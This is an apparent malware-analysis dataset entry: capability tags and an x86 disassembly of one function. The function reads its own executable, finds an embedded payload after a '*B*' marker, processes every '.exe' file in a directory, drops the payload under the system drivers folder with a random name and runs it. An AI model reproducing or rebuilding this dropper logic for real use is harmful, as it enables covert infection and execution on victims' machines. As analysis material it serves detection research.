Function at 0x406dc0
Capabilities:
Create process on windows
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3cc
mov eax, dword [0x40e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
push 0x40e4d0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40e4d0
call fcn.00404f40
add esp, 4
mov word [0x40e5d4], 0x422a
lea ecx, [ebp - 0x304]
mov byte [0x40e5d6], 0x2a
push 1
push 0x40
push 0x21
push 0x40e4d0
call fcn.00401c90
push 2
push 0
push 0
lea ecx, [ebp - 0x304]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x304]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ebx, dword [eax + 8]
lea ecx, [ebp - 0x304]
add ebx, dword [eax]
mov dword [ebp - 0x24c], ebx
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, eax
add esp, 4
mov eax, ebx
mov dword [0x40e4c8], ecx
cdq
push edx
push eax
push ecx
lea ecx, [ebp - 0x304]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0x2f4]
call fcn.004049b0
test eax, eax
jne 0x406eaf
push eax
mov eax, dword [ebp - 0x304]
lea ecx, [ebp - 0x304]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [0x40e9f0], 0
test ebx, ebx
jle 0x406f04
mov edi, dword [0x40e4c8]
xor eax, eax
xor edx, edx
xor esi, esi
xor ecx, ecx
nop dword [eax + eax]
cmp byte [ecx + edi], 0x2a
jne 0x406ee8
cmp byte [ecx + edi + 1], 0x42
mov eax, edx
jne 0x406ee8
cmp byte [ecx + edi + 2], 0x2a
mov eax, esi
je 0x406efa
inc eax
mov ecx, eax
mov dword [0x40e9f0], eax
mov edx, eax
mov esi, eax
cmp ecx, ebx
jl 0x406ed0
jmp 0x406f04
lea eax, [edi + 3]
add eax, ecx
mov dword [0x40e4cc], eax
lea eax, [ebp - 0x248]
push eax
push str..exe
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov esi, eax
lea eax, [ebp - 0x248]
push eax
push esi
call edi
test eax, eax
je 0x406f53
nop dword [eax]
push dword [0x40e4c8]
lea eax, [ebp - 0x21c]
push eax
call fcn.00404cf0
add esp, 8
lea eax, [ebp - 0x248]
push eax
push esi
call edi
test eax, eax
jne 0x406f30
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0xa
push 0x40e5d8
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0x14
mov ebx, eax
lea eax, [ebp - 0x108]
push 0x103
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x108]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406f94
mov eax, dword [str.drivers_]
mov esi, ebx
mov dword [ecx], eax
mov eax, dword [0x40a6f4]
mov dword [ecx + 4], eax
mov ax, word [0x40a6f8]
mov word [ecx + 8], ax
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x406fc0
lea edi, [ebp - 0x108]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x406fd0
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
lea ecx, [ebp - 0x108]
pop esi
dec ecx
pop ebx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406ff0
cmp dword [0x40e4cc], 0
mov eax, dword [0x40a544]
mov dword [ecx], eax
mov al, byte [0x40a548]
mov byte [ecx + 4], al
je 0x40709b
push 1
push 0x40
push 0x22
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x3cc]
call fcn.00401da0
mov eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x3cc]
sub eax, dword [0x40e9f0]
add eax, 3
cdq
push edx
push eax
push dword [0x40e4cc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x3c8]
call fcn.004049b0
test eax, eax
jne 0x407079
push eax
mov eax, dword [ebp - 0x3cc]
lea ecx, [ebp - 0x3cc]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 5
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x3cc]
call fcn.00402ef0
call fcn.00405210
lea ecx, [ebp - 0x304]
call fcn.00402e30
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407d00
mov esp, ebp
pop ebp
ret 0x10